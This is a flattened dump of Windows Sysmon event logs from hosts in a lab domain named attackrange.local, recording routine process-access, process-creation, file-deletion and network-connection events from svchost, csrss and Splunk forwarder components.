15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016983Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016982Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016981Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016980Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016979Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016978Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016977Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016976Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016975Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7350-613B-1205-00000000F101}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016974Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.122{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7350-613B-1205-00000000F101}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016973Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:36.123{625C326B-7350-613B-1205-00000000F101}3388C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:37.409{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B41AA4C45EB81F1542A8FECB5F816B5,SHA256=92CF35FAAE933C0B1BD30A3A34DEE1523518CDD05CBDD32C012389E9CC19DF08,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016988Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:37.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F786CB249C42C56E608796A7DDBDEEB,SHA256=9AAB5BA564DCA544452012FAF788C4AA12D2F677010AE216BEEC2ABC15F82E81,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000052896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:37.291{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:38.459{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D57F5B0BAD84115D9561857C388630BF,SHA256=29A85240CD8E4A0B3B204DD2426A2DE87DE656052C5E98D95C60CE8A64D3D9EA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016989Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:38.153{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73F7E9BF2881228F1F66400B180D3A24,SHA256=AC8642B949FF94AA032CD67C9F7976B55ED3E164CD6C00277B56727D37A4FE06,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:35.494{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59632-false10.0.1.12-8000- 23542300x800000000000000052900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:39.460{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C8893FC2BCF9A1F869D288A22424E07B,SHA256=1E3778231E3D97B940D56DB2082C369A779722AE7E6873446159D52147722C7A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016991Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:37.367{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50325-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016990Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:39.169{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C90E806488E4E87BF73BAECBC537165A,SHA256=CE2558EB0DC354BCC1BA0FC726601731C02742CAC4441CEF73A46C912659C3F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.908{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7AF2C6EF3759FA571BA472A1BDD87E7D,SHA256=649EFEF1991B6FE8A1F65189A9B2CE2E54C9EACEF4245818D3380D2A3D860762,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016992Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:40.216{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=278A6FE790A07A0EC3EDBC7F850E9F5A,SHA256=74543E34E9B8F62F858A880C79379014337697FAE81222BD468123B3CAA30AB5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000052936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:40.390{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 